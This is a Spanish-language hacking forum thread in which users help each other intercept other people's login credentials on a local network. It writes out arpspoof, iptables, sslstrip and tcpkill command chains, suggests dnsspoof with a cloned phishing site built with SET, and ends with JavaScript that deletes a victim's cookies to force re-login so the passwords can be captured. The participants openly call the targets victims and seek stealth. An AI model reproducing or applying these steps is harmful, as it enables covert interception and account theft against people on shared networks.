Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)
Autor
|
Tema: sslstrip & arpspoof (cerrar conexión) (Leído 2,790 veces)
|
rigg
Desconectado
Mensajes: 10
|
Hola a todos, aunque llevo tiempo siguiendo este foro hoy he decidido poner en un hilo una cuestión que me trae de cabeza. Llevo tiempo usando sslstrip para monitorizar las conexiones SSL y junto con arpspoof pues perfecto de la siguiente manera: echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 arpspoof -i wlan0 -t 192.168.1.100 192.168.1.1 python sslstrip.py -l 8080
Después miro el archivo.log de sslstrip y listo ahí aparecen los usuarios y contraseñas, pero con un problema. Aparecen, si no tiene iniciada la sesión en la página. Si ya ha iniciado la sesión me aparecen caracteres raros de "id" (secuencia de números). ¿Como puedo obligarle a cerrar la sesión para que tenga que logearse de nuevo?. Con ettercap lo he hecho pero el problema es que ettercap no funciona nada bien con el sslstrip en backtrak. Me da el famoso error "send l3 error". Gracias a todos.
|
|
|
|
|
En línea
|
|
|
|
|
|
adastra
Endless Learner
Colaborador
 
Desconectado
Mensajes: 624
http://thehackerway.com/
|
Bueno, se me olvidaba, ya que estas utilizando dsniff, puedes jugar un poco tambien con otras utilidades incluidas como por ejemplo tcpnice y tcpkill, de esa forma podras "matar" la conexión del usuario y el sitio web con el que interactua, obligandole de esta a autenticarse nuevamente...
|
|
|
|
|
En línea
|
|
|
|
rigg
Desconectado
Mensajes: 10
|
Muchas gracias adastra
voy a probar a ver que tal. El problema es que ettercap me da muchisimos problemas y no puedo utilizarlo. La verdad es que esa opción en ettercap era muy facil, pero no me ha dado por buscar lo que me acabas de comentar...
voy a probar y te digo, a ver que tal funciona.
Gracias!!!!!!!!!!
|
|
|
|
|
En línea
|
|
|
|
d00ze13
Desconectado
Mensajes: 70
|
Otra opcion, puede ser acceder al router y resetearlo, aunque no se si se le quedara guardada la cookie con la sesion, en ese intervalo de tiempo tan pequeño.
|
|
|
|
|
En línea
|
|
|
|
rigg
Desconectado
Mensajes: 10
|
Pues he probado la opción "tcpkill host <ip victima>" y efectivamente se queda sin conexión, pero cuando lo paro y actualizo la página se mantiene. Ejemplo: dentro del correo de hotmail. Ejecuto y no se puede cargar la página pero cuando pulso Crtl+C y se detiene, actualizo en el cliente y sigue dentro del correo, por tanto la sesión se mantiene.
No es una opción válida. Lo ideal sería un comando que cuando lo ejecutara al actualizar o navegar por la página le cerrara la sesión y por tanto le redirigiera a la página de login para forzarlo a introducir los datos, si no, como monitorices una conexion ya logueada sólo ves "id" y secuenciaans de numeros.
Probare reseteando el router.
Thanks
|
|
|
|
|
En línea
|
|
|
|
adastra
Endless Learner
Colaborador
 
Desconectado
Mensajes: 624
http://thehackerway.com/
|
Reseteando el router tampoco conseguirás nada... La razón? la sesión se mantiene porque el servicio al que esta conectado el usuario es una cuenta de correo como gmail, o algo parecido, que para mantener la sesión almacena una cookie en el navegador del usuario, a efectos prácticos, resetear el router o matar la conexión es exactamente lo mismo. Por otro lado, casi todas las cookies son temporales, así que tienes dos opciones, dejar el tcpkill hasta que la cookie de la sesión expire (lo que te puede llevar tiempo), o la otra opción es como te dije anteriormente, trastear un poco más con dsniff, existe otra utilidad en ese paquete que se llama dnsspoof que es justo para controlar la navegación de un usuario cuando solicita un dominio, por ejemplo "gmail.com", y en lugar de resolver la dirección IP real, resuelve una que el atacante indica, esa seria la solución que realmente te vendría bien. Sin embargo, a donde redirigirlo? para ello yo utilizaría SET y clonaría el sitio web al que trata de conectarse la víctima, con eso ya tienes el vector de ataque completo! te lo resumo en los siguientes pasos: 1. Envenenas como lo has hecho hasta el momento. 2. Inicias el servicio de DNSSPOOF apuntando a una dirección que controlarás con SET. 3. Inicias el "Site Cloner" de SET con un Java Attack por certificado. 4. Capturas los datos ingresados por la victima (login y clave) Lo siento si ahora he excluido SSLStrip del proceso, pero en esta ocasión no te será útil para lo que quieres hacer, si una conexión SSL/TLS ya ha sido establecida, SSLStrip es inutilizado completamente, ya no servirá absolutamente para nada, lo mejor es lo que te he comentado anteriormente. Para mayor información sobre SET, puedes leer esta serie de tutoriales: http://thehackerway.com/2011/09/12/conceptos-basicos-y-avanzados-de-set-social-engineer-toolkit-%e2%80%93-parte-i/http://thehackerway.com/2011/09/14/conceptos-basicos-y-avanzados-de-set-social-engineer-toolkit-%e2%80%93-spear-phishing-%e2%80%93-parte-ii/http://thehackerway.com/2011/09/16/conceptos-basicos-y-avanzados-de-set-social-engineer-toolkit-%e2%80%93-web-attack-vectors-%e2%80%93-parte-iii/http://thehackerway.com/2011/09/19/conceptos-basicos-y-avanzados-de-set-social-engineer-toolkit-%e2%80%93-web-attack-vectors-%e2%80%93-parte-iv/Son los introductorios, si sigues las siguientes partes y profundizaras aun más en su uso. Con los pasos que te he indicado, creo que conseguirás tu objetivo, te lo digo porque ya lo he probado en el pasado variassss veces y nunca me ha fallado... Un Saludo.
|
|
|
|
|
En línea
|
|
|
|
zosemu
Desconectado
Mensajes: 39
|
echo 1 > /proc/sys/net/ipv4/ip_forward iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080 arpspoof -i wlan0 -t 192.168.1.100 192.168.1.1 python sslstrip.py -p -k -w /home/tu_user/algun_archivo.log -l 8080 Para eso sirve el parámetro -k para cerrar las conexiones existentes el -p es para capturar solo el contenido post. Otra alternativa es verificar a que dirección IP se encuentra conectado ejecuta el wireshark con filtro para esa IP, luego que detectes el sitio a donde tiene la conexión SSL usas: tcpkill -i wlan0 host ip_del_sitio Ahora esperas un poco en lo que se cae su conexión y listo en unos segundos, al usuario se le cae la conexión, cierra el navegador, vuelve a abrirlo y habrás ganado.
|
|
|
|
|
En línea
|
|
|
|
rigg
Desconectado
Mensajes: 10
|
Muchas gracias por vuestro interes. Voy a leerme la información que me has pasado adastra y de ese modo hacer pruebas con DNSSPOOF. Gracias porque además estoy aprendiendo bastante con todo ello.
Esta tarde pruebo zosemu y os comento. No se si resultará.
Os tengo informados.
|
|
|
|
|
En línea
|
|
|
|
rigg
Desconectado
Mensajes: 10
|
Pues prueba realizada pero sin exito. Al ejecutar python sslstrip -p -k -w micaptura.log -l 10000 efectivamente. Se queda sin conexión. Pero totalmente. No navega, por tanto tengo que cortar todos los procesos. Hasta arpspoof para que vuelva a terner internet. Con dnsspoof no he hecho en profundidad las pruebas pero básicamente es redirigir a otra dirección. Supongo que a esa dirección estará clonada por mi, pero el problema es el certificado. Se nota un montón (al menos con ettercap se notaba) ya que aparece el mensaje típico lo que pega un cantazo bestial. Voy a seguir bicheando a ver que encuentro para poder cerrar una sesión. Me basta con hacerle que la cookie caduque. A ver que encuentro y os sigo comentando. Ah, me vendría muy bien poder monitorizar no sólo un cliente, si no toda la red. Podría simplificarme la cosa pero ahora mismo estoy que no me entero por las pruebas. Si se os ocurre como.... Thanks
|
|
|
|
« Última modificación: 15 Noviembre 2011, 15:45 por rigg »
|
En línea
|
|
|
|
adastra
Endless Learner
Colaborador
 
Desconectado
Mensajes: 624
http://thehackerway.com/
|
Vale, es básicamente lo que dices, búscar el mecanismo para limpiar las cookies, se me ocurre esta otra idea. Partiendo de lo que te explique antes, rediriges a otra dirección controlada por ti con dnsspoof, pero en lugar de usar SET, utilizas un servidor web con apache y PHP, redireccionas a una página que lo que hace es simplemente, limpiar todas las cookies del navegador de la víctima y una vez hecho esto, redirecciona al sitio que solicito originalmente. Esa opción, seguro que funciona, vamos que esta vez si es la definitiva, jajajaja.  ya que tu problema es la cookie de las narices que esta en el navegador del usuario, para ello, limpiar las cookies del navegador con PHP (o ASP, JSP, Servlets con lo que quieras). Ya casi lo tienes solamente necesitas "retoques". Luego, para que funcione para todos los hosts en el segmento de red, no debes especificar la opción "-t" en arpspoof. arpspoof -i wlan0 Esto envenenará todos clientes! Fijate en esto: http://linux.die.net/man/8/arpspoof
|
|
|
|
|
En línea
|
|
|
|
rigg
Desconectado
Mensajes: 10
|
Pues hola de nuevo gente, he estado realizando pruebas y puedo decir que han sido bastante positivas. Alguna pega tiene pero todo es cuestión de ir depurando, aunque tambien puedo decir que no es facil de detectar. Comienzo por el principio y no me enrrollo...  El principal problema era que a la hora de esnifar datos de la red una vez envenenada era que aquellos clientes que tuviesen iniciada una sesión por ejemplo en su correo de Hotmail no podremos capturar sus datos ya que ya estaban introducidos cuando empezamos a esnifar. ¿Solución?. Hacer que la sesión se pierda. Para ello lo primero es eliminarle las "cookies" a nuestros cliente/s. Simplemente redirigimos todo el tráfico a una página que nosotros mismos creamos "sin contenido visible" a la cual le insertamos los siguientes códigos: //Para redirigir de nuevo a la página donde se encontraba el cliente //Le damos 1 seg, tiempo suficiente para que se ejecute el código que me elimina las cookies
<META HTTP-EQUIV="REFRESH" CONTENT="5;URL=javascript:window.history.back();">
//Código en javascript que me elimina las cookies
<body > <script language="javascript" type="text/javascript"> if (document.cookie != "") { if (confirm("Eliminar todas las Cookies?")) { la_cookie = document.cookie.split("; ") fecha_fin = new Date fecha_fin.setDate(fecha_fin.getDate()-1) for (i=0; i<la_cookie.length; i++) { mi_cookie = la_cookie[i].split("=")[0] document.cookie = mi_cookie + "=;expires=" + fecha_fin.toGMTString() } document.write("Se han eliminado: " + la_cookie.length + " Cookies ") } } </script> </body> Y listo. ¿Cual es el resultado? EL cliente cuando navega en el momento que nosotros empezamos a esnifar la red y por tanto la redirección, cuando haga un click sobre la página que está o intente navegar verá una página en blanco durante 1 seg (igual que cuando navegamos de forma normal al cargar una nueva página) y después volverá a la que se ha solicitado con la salvedad de que se ha ejecutado durante ese segundo un código que le ha roto la sesión. A partir de ahí a divertirse.... !!!!!!  Lógicamente seguiré probando para que todo el proceso sea más invisible pero es el paso funcional que he podido dar.
|
|
|
|
|
En línea
|
|
|
|
adastra
Endless Learner
Colaborador
 
Desconectado
Mensajes: 624
http://thehackerway.com/
|
Me alegra que te haya funcionado lo de la solución, solamente que no hace falta que pongas "document.write" solamente redireccionar y ya esta... al final era sencillo  Un Saludo.
|
|
|
|
|
En línea
|
|
|
|
|
|
rigg
Desconectado
Mensajes: 10
|
Tambien he notado una cosa adastra y es que si me conecto mediante eternet (eth0), los clientes wifi (wlan0) no puedo envenenarlos porque no los veo. No aparecen. No me parece muy normal, pero así es. Ahora estoy tratando de profundizar más y me planteo otra situación: 1 servidor (controlador de dominio) el cual tiene varios clientes. 1 Microsoft Isa Server (todo el tráfico de estos clientes pasan por el). En este caso el que hace de MITM es el Isa Server por lo que digo que si habrá alguna forma de poder hacer lo mismo. Es decir esnifar los datos.  Como poder se debe de poder porque todo el trafico pasa por el.
|
|
|
|
|
En línea
|
|
|
|
|
|